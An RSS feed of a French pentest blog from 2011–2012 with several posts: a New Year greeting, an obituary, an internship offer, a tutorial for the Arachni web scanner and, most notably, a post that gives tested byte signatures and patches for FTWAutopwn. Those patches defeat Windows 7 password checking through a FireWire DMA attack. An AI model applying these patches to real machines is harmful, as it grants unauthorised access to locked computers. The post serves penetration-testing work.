<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2frenchfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Les Tutos de Nico</title>
	
	<link>http://www.lestutosdenico.com</link>
	<description>Parce que c'est trop fast0ch'</description>
	<lastBuildDate>Mon, 02 Jan 2012 19:05:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/LesTutosDeNico" /><feedburner:info uri="lestutosdenico" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>LesTutosDeNico</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FLesTutosDeNico" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FLesTutosDeNico" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.wikio.com/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2FLesTutosDeNico" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><item>
		<title>Bonne et heureuse année 2012</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/FXj8Dqnfp-s/bonne-et-heureuse-annee-2012</link>
		<comments>http://www.lestutosdenico.com/evenements/bonne-et-heureuse-annee-2012#comments</comments>
		<pubDate>Mon, 02 Jan 2012 19:05:06 +0000</pubDate>
		<dc:creator>Nico</dc:creator>
				<category><![CDATA[Evènements]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=2425</guid>
		<description><![CDATA[Bonjour à tous ! C&#8217;est avec grand plaisir que je vous souhaite à tous une très bonne année 2012 ! Plein de bonnes choses pour cette nouvelle année mais surtout une santé de fer ! C&#8217;est le plus important. Pour ma part, j&#8217;ai décidé que j&#8217;allais me remettre à poster un peu plus souvent car [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2012/01/2012.jpg"><img class="aligncenter size-full wp-image-2426" title="2012" src="http://www.lestutosdenico.com/wp-content/uploads/2012/01/2012.jpg" alt="" width="530" height="185" /></a></p>
<p>Bonjour à tous !</p>
<p>C&#8217;est avec grand plaisir que je vous souhaite à tous une très bonne année 2012 ! Plein de bonnes choses pour cette nouvelle année mais surtout une santé de fer ! C&#8217;est le plus important.</p>
<p>Pour ma part, j&#8217;ai décidé que j&#8217;allais me remettre à poster un peu plus souvent car ces temps-ci je n&#8217;ai pas trop pris le temps de le faire.</p>
<p>Également, je vais continuer à m&#8217;occuper un maximum de ma petite puce car ça grandit trop vite ! En plus, il faut vraiment profiter de cette année car elle risque d&#8217;être la dernière d&#8217;après plusieurs théories dont la plus fiable reste quand même l&#8217;invasion par des poneys !</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2012/01/ponydead.png"><img class="aligncenter size-full wp-image-2427" title="ponydead" src="http://www.lestutosdenico.com/wp-content/uploads/2012/01/ponydead.png" alt="" width="498" height="407" /></a></p>
<p>Pour finir, je vais me remettre un peu au sport ! geek un jour, geek tu cours <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>A bientôt <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<p><a href="http://feedads.g.doubleclick.net/~a/5AClEThbHUhPPkY-iW-sG0pxo4w/0/da"><img src="http://feedads.g.doubleclick.net/~a/5AClEThbHUhPPkY-iW-sG0pxo4w/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/5AClEThbHUhPPkY-iW-sG0pxo4w/1/da"><img src="http://feedads.g.doubleclick.net/~a/5AClEThbHUhPPkY-iW-sG0pxo4w/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/FXj8Dqnfp-s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/evenements/bonne-et-heureuse-annee-2012/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/evenements/bonne-et-heureuse-annee-2012</feedburner:origLink></item>
		<item>
		<title>R.I.P CrashFR</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/Bz0snR6U1d4/r-i-p-crashfr</link>
		<comments>http://www.lestutosdenico.com/news/r-i-p-crashfr#comments</comments>
		<pubDate>Mon, 05 Dec 2011 20:00:38 +0000</pubDate>
		<dc:creator>Nico</dc:creator>
				<category><![CDATA[News IT]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=2414</guid>
		<description><![CDATA[Bonsoir à tous, C&#8217;est avec grande tristesse que j&#8217;ai appris aujourd&#8217;hui la mort de Paolo Pinto alias CrashFR le 3 décembre 2011. L&#8217;ayant côtoyé  IRL pour divers projets, j&#8217;ai pu converser avec lui sur pas mal de sujets autour de la sécurité informatique. Ses paroles ont toujours été une vrai mine d&#8217;or et son écoute [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/12/crashfr.jpg"><img class="aligncenter size-full wp-image-2415" title="crashfr" src="http://www.lestutosdenico.com/wp-content/uploads/2011/12/crashfr.jpg" alt="" width="530" height="185" /></a></p>
<p style="text-align: justify;">Bonsoir à tous,</p>
<p style="text-align: justify;">C&#8217;est avec grande tristesse que j&#8217;ai appris aujourd&#8217;hui la mort de Paolo Pinto alias CrashFR le 3 décembre 2011.<br />
L&#8217;ayant côtoyé  IRL pour divers projets, j&#8217;ai pu converser avec lui sur pas mal de sujets autour de la sécurité informatique. Ses paroles ont toujours été une vrai mine d&#8217;or et son écoute attentive en a toujours fait quelqu&#8217;un d&#8217;attachant et surtout au cœur immense.</p>
<p style="text-align: justify;">En tout cas, il a toujours été un modèle de réussite pour moi. Outre le fait qu&#8217;il est le co-fondateur de la société <a href="http://sysdream.com/">Sysdream</a>, il a également été à la source de gros projets tels : <a href="http://www.hackerzvoice.net/">HackerzVoice</a>, <a href="http://www.hackerzvoice.net/oldedition">The Hackademy Journal</a> et The Hackademy School, etc.</p>
<p style="text-align: justify;"> Par ailleurs, il est également le créateur des meetings &laquo;&nbsp;<a href="http://www.nuitduhack.com/">Nuit Du Hack</a>&nbsp;&raquo; et &laquo;&nbsp;<a href="http://www.hackinparis.com/">Hack In Paris</a>&nbsp;&raquo; qui ont rassemblé des milliers de passionnés de sécurité informatique.</p>
<p style="text-align: justify;">Je tiens à adresser mes plus sincères condoléances à sa famille et ses proches pour qui cette triste nouvelle doit être un réel coup dur.</p>
<p style="text-align: justify;">En tout cas toute la communauté du Hacking FR te remercions pour tout ce que tu as fait pour nous et te souhaitons un bon hacking au paradis.</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/12/paulopinto.jpg"><img class="aligncenter size-full wp-image-2417" title="paulopinto" src="http://www.lestutosdenico.com/wp-content/uploads/2011/12/paulopinto.jpg" alt="" width="483" height="596" /></a></p>
<p><a href="http://www.hackerzvoice.net/en/node/155">R.I.P</a></p>

<p><a href="http://feedads.g.doubleclick.net/~a/z2NdB-oXXAjGsDkvFTUYD1mj460/0/da"><img src="http://feedads.g.doubleclick.net/~a/z2NdB-oXXAjGsDkvFTUYD1mj460/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/z2NdB-oXXAjGsDkvFTUYD1mj460/1/da"><img src="http://feedads.g.doubleclick.net/~a/z2NdB-oXXAjGsDkvFTUYD1mj460/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/Bz0snR6U1d4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/news/r-i-p-crashfr/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/news/r-i-p-crashfr</feedburner:origLink></item>
		<item>
		<title>Offre de stage (ou alternance), programmation réseau</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/6AK3y01tFVk/offre-stage-alternance-programmation-reseau</link>
		<comments>http://www.lestutosdenico.com/pentest/offre-stage-alternance-programmation-reseau#comments</comments>
		<pubDate>Thu, 27 Oct 2011 09:06:37 +0000</pubDate>
		<dc:creator>Romain</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[Programmation]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=2407</guid>
		<description><![CDATA[Juste un petit article pour faire passer l&#8217;info: 1 stage est à pourvoir chez Bull à compter du mois de mars-avril pour une durée de 4 à 6 mois. Voici le sujet: Création automatisée de clients réseau pour faciliter les tests d’intrusion: Sous la responsabilité d&#8217;un consultant sécurité informatique, votre projet de stage consiste à [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/01/stage.png"><img class="aligncenter" title="stage" src="http://www.lestutosdenico.com/wp-content/uploads/2011/01/stage.png" alt="" width="530" height="185" /></a></p>
<p>Juste un petit article pour faire passer l&#8217;info: 1 stage est à pourvoir chez Bull à compter du mois de mars-avril pour une durée de 4 à 6 mois.</p>
<p>Voici le sujet:</p>
<p><strong><span style="color: #008000;">Création automatisée de clients réseau pour faciliter les tests d’intrusion</span>:</strong></p>
<p>Sous la responsabilité d&#8217;un consultant sécurité informatique, votre projet de stage consiste à :<br />
- S’approprier les outils de capture réseau (wireshark et ses dissectors)<br />
- S’approprier les outils de manipulation de paquets (en langage Python)<br />
- Créer un outil, en langage Python, de création automatisée de clients réseau à partir de simples captures<br />
- Rédiger la procédure couvrant l’audit « boîte noire » d’un service réseau<br />
- <strong>Alternance possible</strong></p>
<p>Pour plus d&#8217;informations, consultez la page suivante: <strong><a href="http://goo.gl/KwnrL">http://goo.gl/KwnrL</a></strong></p>
<p><strong><span style="color: #000080;">N&#8217;hésitez pas à me contacter via le formulaire en choisissant le sujet &laquo;&nbsp;Offre de stage/emploi&nbsp;&raquo; et en m&#8217;indiquant éventuellement l&#8217;adresse de votre profil linkedin ou viadeo si vous en avez un. Sinon, je vous répondrai pour que vous puissiez m&#8217;envoyer votre CV</span>.</strong></p>
<p>&nbsp;</p>

<p><a href="http://feedads.g.doubleclick.net/~a/Lomw5pnP3RmGK5Y5JPPMG6YciP8/0/da"><img src="http://feedads.g.doubleclick.net/~a/Lomw5pnP3RmGK5Y5JPPMG6YciP8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Lomw5pnP3RmGK5Y5JPPMG6YciP8/1/da"><img src="http://feedads.g.doubleclick.net/~a/Lomw5pnP3RmGK5Y5JPPMG6YciP8/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/6AK3y01tFVk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/pentest/offre-stage-alternance-programmation-reseau/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/pentest/offre-stage-alternance-programmation-reseau</feedburner:origLink></item>
		<item>
		<title>Patch FTWAutopwn</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/qamH10_kyO0/patch-ftwautopwn</link>
		<comments>http://www.lestutosdenico.com/pentest/patch-ftwautopwn#comments</comments>
		<pubDate>Tue, 13 Sep 2011 21:20:44 +0000</pubDate>
		<dc:creator>Nico</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[DMA]]></category>
		<category><![CDATA[firewire hack]]></category>
		<category><![CDATA[FTWAutopwn]]></category>
		<category><![CDATA[MsvpPasswordValidate]]></category>
		<category><![CDATA[Winlockpwn]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=2374</guid>
		<description><![CDATA[FTWAutopwn est un outil développé par Casten Maartmann-Moe qui a pour but de remplacer/améliorer le programme Winlockpwn qui n&#8217;est actuellement plus maintenu. Pour rappel, Winlockpwn permet de déverrouiller une session active Windows via une attaque DMA sur le port FireWire. FTWAutopwn permet de rendre plus stable la manipulation et ainsi d&#8217;éviter de se retrouver avec [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/09/DMA_Firewire.png"><img class="aligncenter size-full wp-image-2376" title="DMA_Firewire" src="http://www.lestutosdenico.com/wp-content/uploads/2011/09/DMA_Firewire.png" alt="" width="530" height="185" /></a><a href="https://github.com/carmaa/FTWAutopwn"><br />
</a></p>
<p style="text-align: justify;"><a href="https://github.com/carmaa/FTWAutopwn">FTWAutopwn</a> est un outil développé par Casten Maartmann-Moe qui a pour but de remplacer/améliorer le programme Winlockpwn qui n&#8217;est actuellement plus maintenu.</p>
<p style="text-align: justify;">Pour rappel, Winlockpwn permet de déverrouiller une session active Windows via une attaque DMA sur le port FireWire.</p>
<p>FTWAutopwn permet de rendre plus stable la manipulation et ainsi d&#8217;éviter de se retrouver avec un joli BSOD et autre plantage durant la manipulation. Pour faire simple, la méthode vise à modifier la fonction permettant la vérification du mot de passe afin de la rendre valide peut importe ce qui est inséré. Pour cela, il est nécessaire d&#8217;étudier la dll <span style="color: #ff6600;"><strong>msv1_0.dll</strong></span> et plus particulièrement la fonction <strong><span style="color: #ff6600;">MsvpPasswordValidate</span></strong>.</p>
<p>Une analyse assez bien faite est disponible à l&#8217;adresse suivante :</p>
<p><a href="https://www.moonloop.org/bin/view/Moonloop/Article:k9iBW83eo9cBsdUlg7Red6cUaILIXVGw">https://www.moonloop.org/bin/view/Moonloop/Article:k9iBW83eo9cBsdUlg7Red6cUaILIXVGw</a></p>
<p>Plusieurs signatures ont été intégrées à l&#8217;outil permettant de pouvoir patcher la fonction en fonction de l&#8217;OS.</p>
<p style="text-align: justify;">Nous avons eu besoin, dans le cadre de mon travail, de trouver la signature d&#8217;un <strong>Windows 7 64</strong> <strong>bits SP1</strong>  qui n&#8217;a pas été renseignée dans le fichier <strong>config.cfg</strong>.</p>
<p style="text-align: justify;">Pour ce faire, un coup d&#8217;IDA sur la dll, une recherche de la fonction <strong>MsvpPasswordValidate, </strong>on se place dans la section de code permettant le saut conditionnel pour la validation et on remplace par des nop (<em>0&#215;90)</em>.</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/09/msv1_0.png"><img class="aligncenter size-full wp-image-2375" title="msv1_0" src="http://www.lestutosdenico.com/wp-content/uploads/2011/09/msv1_0.png" alt="" width="606" height="591" /></a></p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/09/patch_msvppassword.png"><img class="aligncenter size-full wp-image-2389" title="patch_msvppassword" src="http://www.lestutosdenico.com/wp-content/uploads/2011/09/patch_msvppassword.png" alt="" width="623" height="302" /></a></p>
<p>Ceci nous donne le patch suivant :</p>
<p><span style="color: #008000;">&laquo;&nbsp;sig&nbsp;&raquo;:&nbsp;&raquo;C60F857C800000B8&#8243;,</span><br />
<span style="color: #008000;">&laquo;&nbsp;pageoffset&nbsp;&raquo;:[0x321],</span><br />
<span style="color: #008000;">&laquo;&nbsp;patch&nbsp;&raquo;:&nbsp;&raquo;C6909090909090B8&#8243;,</span><br />
<span style="color: #008000;">&laquo;&nbsp;patchoffset&nbsp;&raquo;:0}]</span></p>
<p>Pour un <strong>Windows 7 64 bits SP0</strong>  :</p>
<p><span style="color: #008000;">&laquo;&nbsp;sig&nbsp;&raquo;:&nbsp;&raquo;C60F85A0B80000B8&#8243;,</span><br />
<span style="color: #008000;">&laquo;&nbsp;pageoffset&nbsp;&raquo;:[0x2A8],</span><br />
<span style="color: #008000;">&laquo;&nbsp;patch&nbsp;&raquo;:&nbsp;&raquo;C6909090909090B8&#8243;,</span><br />
<span style="color: #008000;">&laquo;&nbsp;patchoffset&nbsp;&raquo;:0}]</span></p>
<p>Pour les curieux, voici quelques documents utiles sur le sujet :</p>
<ul>
<li><a href="http://www.security-assessment.com/files/presentations/ab_firewire_rux2k6-final.pdf">http://www.security-assessment.com/files/presentations/ab_firewire_rux2k6-final.pdf</a></li>
<li><a href="http://www.sstic.org/media/SSTIC2011/SSTIC-actes/attaques_dma_peer-to-peer_et_contremesures/SSTIC2011-Article-attaques_dma_peer-to-peer_et_contremesures-lone-sang_duflot_nicomette_deswarte.pdf">https://www.sec-consult.com/files/Vista_Physical_Attacks.pdf</a></li>
<li><a href="http://www.sstic.org/media/SSTIC2011/SSTIC-actes/attaques_dma_peer-to-peer_et_contremesures/SSTIC2011-Article-attaques_dma_peer-to-peer_et_contremesures-lone-sang_duflot_nicomette_deswarte.pdf">http://www.sstic.org/media/SSTIC2011/SSTIC-actes/attaques_dma_peer-to-peer_et_contremesures/SSTIC2011-Article-attaques_dma_peer-to-peer_et_contremesures-lone-sang_duflot_nicomette_deswarte.pdf</a></li>
<li><a href="http://www.friendsglobal.com/papers/FireWire%20Memory%20Dump%20of%20Windows%20XP.pdf">http://www.friendsglobal.com/papers/FireWire%20Memory%20Dump%20of%20Windows%20XP.pdf</a></li>
<li><a href="http://web.ossir.org/rhone-alpes/supports/OSSIR-2009-04-Attaque_sur_les_portables_chiffres.pdf">http://web.ossir.org/rhone-alpes/supports/OSSIR-2009-04-Attaque_sur_les_portables_chiffres.pdf</a></li>
<li><a href="http://hathacker.com/wp-content/uploads/2011/08/WP-H@ckRAM.pdf">http://hathacker.com/wp-content/uploads/2011/08/WP-H@ckRAM.pdf</a></li>
</ul>
<p>Greatz à Eric <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Edit :</strong> j&#8217;ai mis à jour le pageoffset de<span style="color: #008000;"> Windows 7 SP1 64bits</span> (celui que j&#8217;avais trouvé ne fonctionnait pas). Je viens de tester à l&#8217;instant avec &laquo;&nbsp;pageoffset&nbsp;&raquo;:[0x321] et cela fonctionne !<br />
Également, je rajoute le fait que suivant la version de la DLL, la signature peut être différente. Pour information, voici celle que j&#8217;ai testée :</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/09/dll.png"><img class="aligncenter size-full wp-image-2397" title="dll" src="http://www.lestutosdenico.com/wp-content/uploads/2011/09/dll.png" alt="" width="479" height="505" /></a></p>

<p><a href="http://feedads.g.doubleclick.net/~a/Nk59b7TVB9s0eMHdR6QSS4YLS24/0/da"><img src="http://feedads.g.doubleclick.net/~a/Nk59b7TVB9s0eMHdR6QSS4YLS24/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Nk59b7TVB9s0eMHdR6QSS4YLS24/1/da"><img src="http://feedads.g.doubleclick.net/~a/Nk59b7TVB9s0eMHdR6QSS4YLS24/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/qamH10_kyO0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/pentest/patch-ftwautopwn/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/pentest/patch-ftwautopwn</feedburner:origLink></item>
		<item>
		<title>Arachni, scanner de vulnérabilités Web</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/lQgTB7LQ2VI/arachni-scanner-de-vulnerabilites-web</link>
		<comments>http://www.lestutosdenico.com/outils/arachni-scanner-de-vulnerabilites-web#comments</comments>
		<pubDate>Fri, 05 Aug 2011 15:20:13 +0000</pubDate>
		<dc:creator>Nico</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[Arachni]]></category>
		<category><![CDATA[Ldap injection]]></category>
		<category><![CDATA[LFI/RFI]]></category>
		<category><![CDATA[pentest Web]]></category>
		<category><![CDATA[SQLi]]></category>
		<category><![CDATA[Web Security scanner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=2361</guid>
		<description><![CDATA[Arachni est un scanner de vulnérabilités automatisé Open-Source créé par Tasos Laskos. Il propose un environnement stable, la génération de rapports et offre la possibilité d&#8217;écrire des plugins facilement et rapidement. Site officiel : http://arachni.segfault.gr/news Fonctionnalités General : Support cookie-jar ; Support SSL ; Support de proxy (SOCKS4, SOCKS4A, SOCKS5, HTTP) + authentification ; Spoofing du user [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/08/Arachni.png"><img class="aligncenter size-full wp-image-2362" title="Arachni" src="http://www.lestutosdenico.com/wp-content/uploads/2011/08/Arachni.png" alt="" width="530" height="185" /></a></p>
<p style="text-align: justify;">Arachni est un scanner de vulnérabilités automatisé Open-Source créé par Tasos Laskos. Il propose un environnement stable, la génération de rapports et offre la possibilité d&#8217;écrire des plugins facilement et rapidement.</p>
<p><strong>Site officiel :</strong> <a href="http://arachni.segfault.gr/news">http://arachni.segfault.gr/news</a></p>
<p><span style="color: #ff6600;"><strong>Fonctionnalités</strong></span></p>
<p><span style="color: #008000;"><strong>General :</strong></span></p>
<ul>
<li>Support cookie-jar ;</li>
<li>Support SSL ;</li>
<li>Support de proxy (SOCKS4, SOCKS4A, SOCKS5, HTTP) + authentification ;</li>
<li>Spoofing du user agent ;</li>
<li>Utilisation via une interface Web et/ou en ligne de commande ;</li>
<li>Possibilité de dispatcher la couche serveur de l&#8217;application permettant des scans parallèles, de la répartition de charge, etc.</li>
<li>Pause/reprise possible ;</li>
<li>etc.</li>
</ul>
<p><span style="color: #008000;"><strong>Crawler :</strong></span></p>
<ul>
<li>Filtres sur des pages redondantes ;</li>
<li>Possibilité de définir des URL à inclure ou exclure lors du scan ;</li>
<li>Limite de redirection et de lien ajustable ;</li>
<li>etc.</li>
</ul>
<p><span style="color: #008000;"><strong>Module :</strong></span></p>
<ul>
<li>Audit : SQLi, BSQLi, CSRF, XSS, injection LDAP, Path Traversal, LFI/RFI&#8230; ;</li>
<li>Etc.</li>
</ul>
<p><span style="color: #008000;"><strong>Rapport :</strong></span></p>
<ul>
<li>Génération de rapports automatisés ;</li>
<li>Etc.</li>
</ul>
<p><span style="color: #008000;"><strong>Plug-in :</strong></span></p>
<ul>
<li>Permet d&#8217;étendre les fonctionnalités d&#8217;arachni ;</li>
<li>Plugins disponibles : proxy passif, autologin, attaque par dictionnaire sur des authents HTTP, analyseur de WAF, etc.</li>
<li>&#8230;</li>
</ul>
<p><span style="color: #ff6600;"><strong>Installation</strong></span></p>
<p><span style="color: #ff0000;">Testé sous BT5</span></p>
<p>Pour lancer arachni :</p>
<p><span style="color: #008000;"> $arachni_web_autostart</span></p>
<p>L&#8217;interface Web est disponible à l&#8217;adresse suivante :</p>
<p><span style="text-decoration: underline;"><span style="color: #008080; text-decoration: underline;">http://127.0.0.1:4567/</span></span></p>
<p>Il reste cependant possible d&#8217;utiliser le scanner en ligne de commande dont voici la page de documentation officiel :</p>
<p><a href="https://github.com/Zapotek/arachni/wiki/Command-line-user-interface">https://github.com/Zapotek/arachni/wiki/Command-line-user-interface</a></p>
<p>Exemple de ligne de commande :</p>
<p><span style="color: #008000;">$arachni &#8211;mods=xss http://localhost/ &#8211;exclude=formulaire</span></p>
<p>Elle permet de scanner les vulnérabilités XSS sur un site local en excluant le mot formulaire de l&#8217;URL (lors du crawling).</p>
<p><span style="color: #ff6600;"><strong>Utilisation</strong></span></p>
<p>Il est nécessaire de configurer le dispatcher en cliquant sur celui par défaut. Ce dernier permet de lancer des scans sur différentes instances (également sur d&#8217;autres postes).</p>
<p>Une fois cette étape effectuée, le scan d&#8217;un site Web peut être lancé. Il est cependant utile de regarder les différents onglets disponibles :</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/08/arachni1.png"><img class="aligncenter size-full wp-image-2363" title="arachni1" src="http://www.lestutosdenico.com/wp-content/uploads/2011/08/arachni1.png" alt="" width="515" height="198" /></a></p>
<p><span style="color: #008000;"><strong>Start a scan :</strong></span></p>
<p>Permet de lancer son scan en insérant l&#8217;URL/l&#8217;adresse IP.</p>
<p><span style="color: #008000;"><strong>Modules :</strong></span></p>
<p>Permet de sélectionner les modules qui seront utilisés durant la phase de scan.</p>
<p><span style="color: #008000;"><strong>Plugins :</strong></span></p>
<p>Plugins permettant d&#8217;étendre certaines fonctionnalités de l&#8217;outil. Pour exemple, la fonction auto-login se situe dans cette section.</p>
<p><span style="color: #008000;"><strong>Settings :</strong></span></p>
<p>Onglet permettant de configurer différentes options telles :</p>
<ul>
<li>Auditer les formulaires ;</li>
<li>Auditer les cookies ;</li>
<li>Auditer les cookies ;</li>
<li>Exclure certaines URLS ;</li>
<li>Configurer le nombre de requêtes HTTP ;</li>
<li>Utilisation d&#8217;un cookie spécifique ;</li>
<li>Etc.</li>
</ul>
<p><span style="color: #008000;"><strong>Report :</strong></span></p>
<p>Liste des scans effectués en incluant les rapports sous différents formats (Metareport, format Arachni Framework, Text, XML, HTML).</p>
<p><span style="color: #008000;"><strong>Add-ons :</strong></span></p>
<p>Permet d&#8217;activer les add-ons permettant d&#8217;améliorer les fonctionnalités de la WebUI.</p>
<p><span style="color: #008000;"><strong>Dispatcher :</strong></span></p>
<p>Liste des dispatchers et leur charge mémoire.</p>
<p><span style="color: #008000;"><strong>Log :</strong></span></p>
<p>Log des scans lancés, des rapports générés, etc.</p>
<p><span style="color: #ff6600;"><strong>Exemple de sortie</strong></span></p>
<p><span style="color: #008000;"><strong>Summary :</strong></span></p>
<p>Graphiques des vulnérabilités classés par types :</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/08/arachni2.png"><img class="aligncenter size-full wp-image-2364" title="arachni2" src="http://www.lestutosdenico.com/wp-content/uploads/2011/08/arachni2.png" alt="" width="576" height="320" /></a></p>
<p><span style="color: #008000;"><strong>Issues :</strong></span></p>
<p>Résultat détaillé des vulnérabilités contenant :</p>
<ul>
<li>Nom du module ;</li>
<li>Variable affectée ;</li>
<li>URL affectée ;</li>
<li>Type d&#8217;élément HTML ;</li>
<li>CWE ;</li>
<li>CVSSV2 ;</li>
<li>Descriptif de la vulnérabilité ;</li>
<li>Eléments de corrections ;</li>
<li>Références : Wikipedia, OWASP, SecuriTeam&#8230; ;</li>
<li>Etc.</li>
</ul>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/08/arachni3.png"><img class="aligncenter size-full wp-image-2365" title="arachni3" src="http://www.lestutosdenico.com/wp-content/uploads/2011/08/arachni3.png" alt="" width="555" height="277" /></a></p>
<p><span style="color: #008000;"><strong>Plugin results :</strong></span></p>
<p>Informations complémentaires sur les plugins utilisés + healthmap.</p>
<p style="text-align: justify;"><span style="color: #008000;"><strong>Sitemaps :</strong></span></p>
<p>Liste des URLs testées durant le scan.</p>
<p><span style="color: #008000;"><strong>Configuration :</strong></span></p>
<p>Détail de la configuration utilisée lors du scan.</p>
<p>N’hésitez pas à faire des retours sur la pertinence des découvertes de vulnérabilités de l’outil ;-)</p>
<p>Pour information complémentaire, voici un article récent et assez intéressant sur le comparatif de plusieurs scanners de vulnérabilités payants et Open-Source :</p>
<p><a href="http://sectooladdict.blogspot.com/2011/08/commercial-web-application-scanner.html">http://sectooladdict.blogspot.com/2011/08/commercial-web-application-scanner.html</a></p>
<p>Mode vacances 2 semaines \o/</p>

<p><a href="http://feedads.g.doubleclick.net/~a/UuG1I9C4XHoQNpwGIZDR2bQRebU/0/da"><img src="http://feedads.g.doubleclick.net/~a/UuG1I9C4XHoQNpwGIZDR2bQRebU/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/UuG1I9C4XHoQNpwGIZDR2bQRebU/1/da"><img src="http://feedads.g.doubleclick.net/~a/UuG1I9C4XHoQNpwGIZDR2bQRebU/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/lQgTB7LQ2VI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/outils/arachni-scanner-de-vulnerabilites-web/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/outils/arachni-scanner-de-vulnerabilites-web</feedburner:origLink></item>
		<item>
		<title>Nipper, audit de configuration</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/XJ3obH7yC9g/nipper-audit-de-configuration</link>
		<comments>http://www.lestutosdenico.com/outils/nipper-audit-de-configuration#comments</comments>
		<pubDate>Fri, 08 Jul 2011 17:56:39 +0000</pubDate>
		<dc:creator>Nico</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[Pentest]]></category>
		<category><![CDATA[Tutos de Nico]]></category>
